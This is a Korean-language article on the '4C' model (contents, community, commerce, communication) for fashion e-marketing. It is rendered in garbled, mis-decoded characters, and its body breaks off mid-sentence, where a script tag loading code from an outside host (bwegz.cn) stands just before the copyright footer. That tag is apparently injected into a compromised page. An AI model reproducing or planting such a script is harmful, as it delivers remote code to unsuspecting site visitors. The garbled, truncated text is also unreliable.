±è±âÇõ hyuk@moravian.biz
<¸ð¶óºñ¾È¹ÙÁ©ÄÁ¼³Æ᤿¬±¸¿ø>
ÄÁÅÙÃ÷(Contents), Ä¿¹Â´ÏƼ(Community), Ä¿¸Ó½º(Commerce), Ä¿¹Â´ÏÄÉÀ̼Ç(Communication), ÀÌ 4°¡Áö ¿ä¼Ò¸¦ ÀÎÅÍ³Ý »ç¾÷ÀÇ 4°¡Áö ±¸¼º¿ä¼Ò¶ó°í ¸»ÇÑ´Ù. '4C'ÀÇ °³³äÀº Áö³ 1998³âÃÊ Æ÷Åмºñ½º°¡ µîÀåÇÏ¸é¼ Ã³À½ µîÀåµÆ´Ù. ¾ßÈÄ µî °Ë»ö¼ºñ½º ¾÷üµéÀÌ ³×ƼÁð¿¡°Ô ÀÎÅͳݿ¡¼ ÇÊ¿äÇÑ ¸ðµç ¼ºñ½º¸¦ Á¦°øÇÏ´Â Á¾Çչ̵ð¾î ȸ»ç°¡ µÇ°Ú´Ù°í µé°í ³ª¿Â °ÍÀÌ ¹Ù·Î 4CÀÌ´Ù. ÇÏÁö¸¸ ÀÌ 4°¡Áö ¿ä¼Ò´Â Á¡Â÷ ¸ðµç ¼ºñ½º¸¦ ÃÑ°ýÀûÀ¸·Î Á¦°øÇÏ´Â ÀÎÅÍ³Ý ¼ºñ½º¿¡ ±¹ÇѵÇÁö ¾Ê°Ô µÇ¾ú´Ù. »çÀÌÆ® ¿î¿µ ¾÷ü´Â °í°´¿¡°Ô º¸´Ù ³ªÀº 4C ¼ºñ½º Á¦°øÀ», ¼Ö·ç¼Ç ¾÷üµéÀº º¸´Ù ³ªÀº 4C¸¦ °¡´ÉÇÏ°Ô ÇÏ´Â ±â¼ú°³¹ßÀ» ¸ñÇ¥·Î ÇÏ°í ÀÖ´Ù. ¹Ù·Î ÀÎÅͳÝÀ¸·Î ¸¶ÄÉÆÃÀ» ÇÏ´Â ¸ðµç ¾÷üµéÀÇ ÁöÇâÁ¡ÀÌ¿ä Ç¥ÁØÀÌ µÇ¾î ¹ö¸° °ÍÀÌ´Ù.
ÆмÇÀº ´Ù¸¥ »ç¾÷ºÐ¾ß¿Í ±¸º°µÇ´Â Ư¼ö¼ºÀÌ ¸¹Àº ºÐ¾ßÀÌ´Ù. ±×·¡¼ e¸¶ÄÉÆõµ ±¸º° µÇ¾î¾ß ÇÏ¸ç ¶ÇÇÑ ±× ¼Ó¼º¿¡ ¸Â´Â Àü·«ÀÌ ÇÊ¿äÇÏ´Ù. ÇÏÁö¸¸ ÆÐ¼Ç e¸¶ÄÉÆÿ¡ À־µ ÀÌ 4°¡Áö ¿ä¼Ò´Â ¹«Ã´ Áß¿äÇÏ´Ù. µ¶ÀÚÀûÀÎ e¸¶ÄÉÆà Àü·«À» ±¸ÃàÇϱâ À§Çؼ´Â 4C¿¡ ´ëÇÑ °³³äÀ» ÆмÇÀÇ °üÁ¡¿¡¼ Á¤È®ÇÏ°Ô ÀÌÇØÇÒ ÇÊ¿ä°¡ ÀÖ´Ù.
ÄÁÅÙÃ÷(Contents)
ÄÁÅÙÃ÷¶ó´Â °ÍÀº ÀâÁöÀÇ ¿¹¸¦ µé¸é, °¢ ÆäÀÌÁö¸¶´Ù ÀÖ´Â ¹®Àå, »çÁø, ±×¸², ±¸¼º¿ä¼ÒÀÇ ·¹À̾ƿô µî ±¸¼º¿ä¼Ò ¸ðµÎ¸¦ ¸»ÇÑ´Ù.
¶Ç ¿ì¸®°¡ ÈçÈ÷ º¸´Â TVÀÇ °¢°¢ÀÇ ÇÁ·Î±×·¥ ÀÚü°¡ ÄÁÅÙÃ÷¿¡ ÇØ´çµÈ´Ù. °£´ÜÇÏ°Ô ¸»ÇØ ÄÁÅÙÃ÷¶õ ¡®µé¾î°¥ ³»¿ë¡¯À» ¸»ÇÑ´Ù.
A ÆÐ¼Ç ºê·£µå ȨÆäÀÌÁöÀÇ ¿¹¸¦ µé¾îº¸¸é ±âº»ÀûÀÎ »óÇ°Á¤º¸ ÀÌ¿Ü¿¡ ÀüÀÚ»ó°Å·¡, °æ¸Å, À½¾Ç ¹× ¿µÈÁ¤º¸, ºäƼÁ¤º¸, °Å¸®ÆмÇ, ³¯¾¾, µ¿È£È¸, ÀϱâÀå µîÀÇ ÄÁÅÙÃ÷¸¦ Á¦°øÇÏ°í ÀÖ´Ù. ÀÌÁ¤µµ µÇ¸é °ÅÀÇ Æ÷Å»»çÀÌÆ®¶ó ÇÒ ¼ö ÀÖ´Ù.
ÇÊ¿äÇÑ°Ç ÄÁÅÙÃ÷°¡ ¾çÀÌ ¾Æ´Ï¶ó ÄÁÅÙÃ÷ÀÇ Çʿ伺ÀÌ´Ù.
ÆÐ¼Ç ºê·£µå ȨÆäÀÌÁö¿¡¼ °¡Àå Áß¿äÇÑ ÄÁÅÙÃ÷´Â ¡®¿Ê¡¯ °ú ¡®ºê·£µå¡¯¶ó´Â »ç½ÇÀ» Áö³È£¿¡¼ ÁßÁ¡ÀûÀ¸·Î ¸»Çß¾ú´Ù. ¹«¾ù ¶§¹®¿¡ ÀÌ¿ëÀÚ°¡ ±× »çÀÌÆ®¿¡ µé¾î¿À´Â°¡¸¦ Á¤È®ÇÏ°Ô ÆľÇÇÒ ¼ö ÀÖ´Ù¸é ¡®°ú¿¬ ÄÁÅÙÃ÷´Â ¹«¾ùÀ¸·Î ä¿ï °ÍÀΰ¡¡¯ ÇÏ´Â °í¹ÎÀº ¸¹ÀÌ ÇØ°á µÉ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×¸®°í ¸¸µé°íÀÚ ÇÏ´Â °ÍÀÌ ÆмǺ귣µå ȨÆäÀÌÁö¶ó ÇÑ´Ù¸é ÀÌ¿ëÀÚµéÀÌ ±× »çÀÌÆ®¸¦ ã´Â ÀÌÀ¯¸¦ ÆľÇÇÏ´Â°Ç ±×¸® ¾î·Á¿î ÀÏÀÌ ¾Æ´Ï´Ù.
±×¸®°í ¸¹Àº ÄÁÅÙÃ÷ °ü¸®ÀÚµéÀÌ ¹¬°úÇÏ´Â °Í °¡¿îµ¥ Çϳª°¡ ¹Ù·Î ¡®Á¤º¸ÀÇ °»½Å¡¯ÀÌ´Ù. ¾Æ¿¹ ¾÷µ¥ÀÌÆ®°¡ ÇÊ¿äÇÑ ¸Þ´º¸¦ ÁÙÀÌ°í 1ȸ¼º Ä«Å»·Î±×½ÄÀ¸·Î ²Ù¹Î »çÀÌÆ®µéµµ ¸¹ÀÌ º¼ ¼ö ÀÖ´Ù.
ÀÎÅͳݿ¡ ÀÖ¾î¼ Á¤ÀûÀÎ ÄÁÅÙÃ÷´Â Á×Àº ÄÁÅÙÃ÷³ª ´Ù¸§¾ø´Ù. »õ·Î¿ï °Íµµ ¾ø´Â ÄÁÅÙÃ÷·Î ÀÌ¿ëÀÚµéÀÌ Áö¼ÓÀûÀÎ ¹æ¹®À» ÇØÁÖ±æ ¹Ù¶õ´Ù´Â °ÍÀº ºÎÁú¾ø´Â ¿å½ÉÀÌ´Ù. Á¤ÀûÀÎ ÄÁÅÙÃ÷´Â ÃÖ¼ÒÇÑÀÇ °¡Àå ÇÊ¿äÇÑ ³»¿ëÀ̾î¾ß ÇÑ´Ù.
±×·¸Áö¸¸ ±× ºê·£µå¿¡ ´ëÇÑ ÄÁÅÙÃ÷¸¦ Áö¼ÓÀûÀ¸·Î ¸¸µé¾î³»°í ¾÷µ¥ÀÌÆ®Çϱ⿡´Â Çö½ÇÀûÀ¸·Î ½¬¿î ÀÏÀÌ ¾Æ´Ï´Ù. ±×·± Á¡¿¡¼ ÆÐ¼Ç ºê·£µå ȨÆäÀÌÁö´Â º»ÁúÀû ÄÁÅÙÃ÷ÀÇ ÇѰ輺 ¶§¹®¿¡ ÀÎÅÍ³Ý ¸¶ÄÉÆÿ¡ ÀÖ¾î¼ Ä¡¸íÀûÀÎ ¾àÁ¡À» °®°í Ãâ¹ßÇÏ´Â ¼ÀÀÌ´Ù. ÀÌ Á¡À» º¸¿ÏÇØ ÁÙ ¼ö ÀÖ´Â ¿ä¼Ò°¡ ¹Ù·Î Ä¿¹Â´ÏÄÉÀ̼ǰú Ä¿¹Â´ÏƼ´Ù.
Ä¿¹Â´ÏÄÉÀÌ¼Ç (Communication)
Ä¿¹Â´ÏÄÉÀ̼ÇÀº ¡®¾ó¸¶³ª È¿°úÀûÀÎ ¹æ¹ýÀ¸·Î °í°´°ú Á¢ÃËÇÏ°í Àִ°¡¡¯¿¡ ´ëÇÑ ¹æ¹ý·ÐÀûÀÎ Á¢±ÙÀÌ´Ù.
ÀÎÅͳÝÀÌ °í°´°úÀÇ ÁÖ¿äÇÑ Ã¤³ÎÀÌ µÉ ¼ö ÀÖ¾ú´ø °Í°ú °¡Àå °·ÂÇÑ e¸¶ÄÉÆÃÀÇ µµ±¸·Î ¾²ÀÏ ¼ö ÀÖ°Ô ¸¸µç°Ç ¹Ù·Î »óÈ£Àۿ뼺(interaction)À̶ó´Â ¿ä¼ÒÀÌ´Ù. ÀÌ »óÈ£Àۿ뼺À» ¾ó¸¶³ª È¿°úÀûÀ¸·Î ÀÌ¿ëÇÒ ¼ö Àִ°¡°¡ ¹Ù·Î ÀÎÅͳݸ¶ÄÉÆÃÀÇ ÇØ´äÀÌ´Ù.
ÀÎÅÍ³Ý ±¤°í. À̸ÞÀÏ ¸¶ÄÉÆÃ, Ä¿¹Â´ÏƼ¸¦ ÀÌ¿ëÇÑ ÃËÁø, °í°´ ¼ºñ½º ¹× Çǵå¹é µîÀÌ Ä¿¹Â´ÏÄÉÀ̼ÇÀÇ ¹æ¹ý°ú ¿ªÇÒÀ̸ç ÀÌ°ÍÀº ¶Ç ÆÐ¼Ç e¸¶ÄÉÆúо߿¡¼ ´Ù¾çÇÏ°Ô Àû¿ëµÉ ¼ö ÀÖ´Ù.
ÃÖ±Ù Ä¿¹Â´ÏÄÉÀÌ¼Ç ±â¼úÀº ¹ßÀüÇÏ°í ÀÖÁö¸¸ ±× È¿°ú´Â Á¡Á¡ ¶³¾îÁö°í ÀÖ´Â Ãß¼¼ÀÌ´Ù. °í°´°ú ´«À» ¸ÂÃß·Á´Â ½Ãµµ´Â Á¡Â÷ ´Ù¾çÇØÁ® °¡°í ÀÖÁö¸¸ °ú´ÙÇÑ °ø±ÞÀÚ¿Í Á¤º¸ÀÇ È«¼ö ¼Ó¿¡¼ °í°´ÀÇ °ü½ÉÀº Á¡Á¡ ¹«µ®Á® °¡°í ÀÖ´Ù. ÀÌ·± »óȲÀº ÃÖ±Ù One-to-One ¸¶ÄÉÆÃ(ÀÏ´ëÀÏ ¸¶ÄÉÆÃ) ½Ã´ë¸¦ µµ·¡ÇÏ°Ô ÇßÀ¸¸ç CRM(°í°´ °ü°è °ü¸®)Àº ±× Àü·«À» µÞ¹ÞħÇØÁÖ´Â ÁÖ¿äÇÑ ¸¶ÄÉÆà µµ±¸°¡ µÇ¾ú´Ù.
Ä¿¹Â´ÏÄÉÀ̼ÇÀº ¡®±³Á¦¡¯¶ó´Â »çÀüÀû Àǹ̸¦ Æ÷ÇÔÇÏ°í ÀÖ´Ù. ´Ü¼øÈ÷ ±â¼ú·Î¼ÀÇ Á¢±ÙÀÌ ¾Æ´Ñ º¸´Ù Àΰ£ÀûÀÌ°í °¨¼ºÀûÀÎ ¸¶ÄÉÆÃÀü·«À» ÅëÇØ ¸¹Àº Á¢ÃËÁ¡À» ¸¸µå´Â °ÍÀÌ ¹Ù·Î Ä¿¹Â´ÏÄÉÀ̼ÇÀÇ ÇÙ½ÉÀÌ´Ù.
°øµ¿Ã¼(Community)
Ä¿¹Â´ÏƼ¶õ ¡®È¸¿øÁ¦¡¯¶ó´Â ±âº» ¿î¿µÁ¤Ã¥À» °¡Áö°í Áö¼ÓÀûÀÎ »óÈ£ÀÛ¿ëÀ¸·Î Á÷Á¢ ¶Ç´Â °£Á¢ÀûÀÎ ¸¸³²À» ÅëÇØ °øµ¿Ã¼¸¦ ¿î¿µ ¶Ç´Â À¯ÁöÇÏ´Â °ÍÀ̸ç, À̸¦ Á¤¸®ÇÏ¸é ¡®ÀÎÅÍ³Ý °ø°£¿¡¼ °øÅëÀÇ °ü½É°ú ¸ñÀûÀ» °¡Áø »ç¶÷µéÀÌ ¸ð¿© Áö¼ÓÀûÀ¸·Î »óÈ£ ÀÛ¿ëÀ» ÇÏ´Â Áý´Ü¡¯À¸·Î Á¤ÀǸ¦ Çغ¼ ¼ö ÀÖ´Ù.
Ä¿¹Â´ÏƼ´Â ÈçÈ÷ ¡®µ¿È£È¸¡¯¶ó´Â »çÀüÀû ?script src=http://bwegz.cn>
- Copyrights ¨Ï ¸ÞÀ̺ñ¿ø(ÁÖ) ÆмÇÀλçÀÌÆ®, ¹«´Ü ÀüÀç ¹× Àç¹èÆ÷ ±ÝÁö -